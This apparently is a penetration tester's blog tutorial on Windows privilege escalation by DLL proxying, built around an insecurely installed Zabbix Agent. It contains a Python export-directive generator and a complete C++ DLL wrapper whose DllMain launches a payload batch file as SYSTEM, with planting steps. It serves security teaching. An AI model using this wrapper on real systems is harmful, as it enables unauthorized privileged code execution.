Windows Privilege Escalation - DLL Proxying

DLL Hijacking is the first Windows privilege escalation technique I worked on as a junior pentester, with the IKEEXT service on Windows 7 (or Windows Server 2008 R2). Here, I’d like to discuss one of its variants - DLL Proxying - and provide a step-by-step guide for easily crafting a custom DLL wrapper in the context of a privilege escalation.

Scenario

I lack imagination so I will take a real-life example I encountered during a penetration test. I simply set up a Windows 10 virtual machine to replecate the vulnerable environment:

The third-party service in question here was Zabbix Agent but it could have been something else. I really want to emphasize that it’s not a vulnerability related to a specific product but rather a vulnerability induced by an insecure and non-default installation of it.

By default, the Zabbix Agent is installed in C:\Program Files\Zabbix Agent\, which is a secure location because the inherited ACL would allow a standard user to only read and execute files from there. However, in this case, the sysadmins chose to install it in C:\Zabbix Agent\. This makes a big difference because the ACL inherited from the partition’s root is more permissive and would allow any user to modify its content. It seems that sysadmins were aware of this potential security issue and removed all the permissions allowing a user to modify the files. Though, there was still a hole in the resulting ACL: users could still create files and directories. This left the door open for DLL hijacking.

Why do we need DLL Proxying?

Here is a diagram showing the default DLL search order in Windows.

Windows directories (e.g.: C:\Windows\System32\) are safe by default so this leaves us with only two opportunities for DLL hijacking.

  1. Case #1: at least one of the directories listed in %PATH% is writable. If a program tries to load a DLL that doesn’t exist (which isn’t common nowadays as far as I’m aware), it will eventually look for it in this vulnerable directory. This can be easily exploited by crafting a DLL and copy it with the appropriate name.
  2. Case #2: the directory of an application is writable. In this case, any DLL loaded by the application can be hijacked because it’s the first location used in the search process. Actually, this isn’t entirely true because, if we pay close attention to the diagram, we can see that DLLs that are already loaded or known DLLs have a higher priority than the application’s directory, but it won’t be an issue in most cases.

Let’s go back to our scenario now. We can add files in the directory of an application which is run as a service with NT AUTHORITY\SYSTEM privileges. The exploit seems trivial! Using Process Monitor, we can list the DLLs that are loaded by the executable on startup and pick one of them. Then, we create our own DLL with our payload inside DllMain(), name it accordingly and we wait for a reboot. Well… That’s not that simple.

In the case of a missing DLL, the application works whether it exists or not. So, implementing an empty DLL with our payload inside DllMain() is good enough. In the case of an existing DLL on the other hand, the exploitation process requires an extra step. Indeed, an application loads a DLL because it needs to use one or more functions it exports. But, if this requirement isn’t satisfied, the DLL won’t be properly loaded and our payload will never be executed. To work around this issue, our DLL must export the required functions, but we don’t want to actually implement them. That’s where DLL Proxying comes into play.

DLL Proxying is achieved through a DLL Wrapper. The idea is very simple and quite self-explanatory at this point. A DLL Wrapper consists in redirecting all the functions to the original DLL using forwarders. In a typical DLL, the Export Table contains a list of addresses that point to the code of each exported function inside the PE file. But, there is a second option: it can also contain Forwarders. Instead of referencing some code inside the DLL itself, a Forwarder points to a string, which gives the name (or the ordinal number) of the exported function and the name of the DLL in which it can be found (e.g.: FOO.DummyFunction or FOO.#47). This feature is exactly what we need in order to transparently redirect all the functions to the orignal DLL as described on this diagram.

How to create a DLL Wrapper?

The procedure was well described in this article: Discord Dll Hijacking, An Old Attack On A Popular Chat Application. However, I’ll try to provide my own perspective and methodology.

The main steps are as follows:

  1. List the DLLs loaded by the target application on startup and choose one to proxy.
  2. Use DLL Export Viewer to list the functions exported by the DLL.
  3. Parse the result and generate the export directives for Visual Studio.
  4. Add your own code to the DLL Wrapper.

You’ll need the following:

1) Choose a DLL to proxy

It’s time to fire up Process Monitor and see which DLLs the target application is trying to load on startup.

SCREENSHOT-PROCMON

Here are some tips to set your filter properly in Process Monitor:

Here I picked dbghelp.dll but any other would do as well. We can find its location on the disk thanks to the dir command.

SCREENSHOT-DIR

/!\ On a 64-bit version of Windows, 64-bit executables are located in C:\Windows\System32\ and 32-bit executables are located in C:\Windows\SysWow64\.

2) List the exported functions

We’ll use DLL Export Viewer to list all the functions that are exported by the DLL. Once you’ve opened the target DLL file (C:\Windows\System32\dbghelp.dll in our case), go to View > HTML Report - All Functions.

SCREENSHOT-DLL-EXPORT-VIEWER

As the name implies, this will yield an HTML report (namely report.html) that we will have to parse.

3) Generate the export directives for the linker

Now that we have an HTML report, we can convert it to export directives for Visual Studio. The author of the blog I mentionned also wrote a tool in C++ to parse the report but I found it a bit overkill so I wrote my own tool in Python. I didn’t test it extensively but it should work with Python 2 and 3, on both Linux and Windows I think.

"""
The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately.
"""
from __future__ import print_function
import argparse

def main():
    parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser")
    parser.add_argument("report", help="the HTML report generated by DLL Export Viewer")
    args = parser.parse_args()
    report = args.report

    try:
        f = open(report)
        page = f.readlines()
        f.close()
    except:
        print("[-] ERROR: open('%s')" % report)
        return

    for line in page:
        if line.startswith("<tr>"):
            cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
            function_name = cols[1]
            ordinal = cols[4].split(' ')[0]
            dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
            print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))

if __name__ == '__main__':
    main()

The parser should yield something like this.

SCREENSHOT-REPORT-PARSER

4) Write the DLL Wrapper

Finally, you can copy the export directives into the following code snippet and add your own code to DllMain(). This is the code I use to execute a BATCH script. The script must be named payload.bat in this case and must be located in the same directory as the DLL’s.

:warning: Be very careful with the code you write inside DllMain(). Infinite loops for example (which may occur in case of a bindshell if a new thread isn’t created), will prevent the DLL from being loaded, thus causing a Denial of Service.

#pragma once
// BEGIN: export directives for the linker
#pragma comment(linker,"/export:SymFreeDiaString=dbghelp_orig.SymFreeDiaString,@1111")
#pragma comment(linker,"/export:SymGetDiaSession=dbghelp_orig.SymGetDiaSession,@1112")
#pragma comment(linker,"/export:SymGetLineFromAddrEx=dbghelp_orig.SymGetLineFromAddrEx,@1113")
// ...
#pragma comment(linker,"/export:symsrv=dbghelp_orig.symsrv,@1353")
#pragma comment(linker,"/export:vc7fpo=dbghelp_orig.vc7fpo,@1354")
// END: export directives for the linker

#include <windows.h>
#include <string>
#include <atlstr.h>  

CStringW ThisDllDirPath()
{
    CStringW thisPath = L"";
    WCHAR path[MAX_PATH];
    HMODULE hm;
    if (GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, (LPWSTR)&ThisDllDirPath, &hm))
    {
        GetModuleFileNameW(hm, path, sizeof(path));
        PathRemoveFileSpecW(path);
        thisPath = CStringW(path);
        if (!thisPath.IsEmpty() &&
            thisPath.GetAt(thisPath.GetLength() - 1) != '\\')
            thisPath += L"\\";
    }
    return thisPath;
}

int Exploit()
{
    // Create the command line 
    std::wstring fullpath(TEXT("cmd.exe /C \""));
    fullpath += ThisDllDirPath();
    fullpath += std::wstring(TEXT("payload.bat\""));
    TCHAR * fullpathwc = (wchar_t *)fullpath.c_str();

    // Start a new process using the command line 
    STARTUPINFO info = { sizeof(info) };
    PROCESS_INFORMATION processInfo;
    CreateProcess(NULL, fullpathwc, NULL, NULL, TRUE, CREATE_DEFAULT_ERROR_MODE, NULL, NULL, &info, &processInfo);

    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        Exploit();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Here are some configuration tips for Visual Studio:

Wrapping Up

Finally, you can copy your custom DLL, the orignal DLL and your payload script to the vulnerable folder, and you’re good to go! Well, in the present case we would have to wait for a reboot because we are not allowed to restart the service, but you got the point! ;)

SCREENSHOT-PAYLOAD-FILES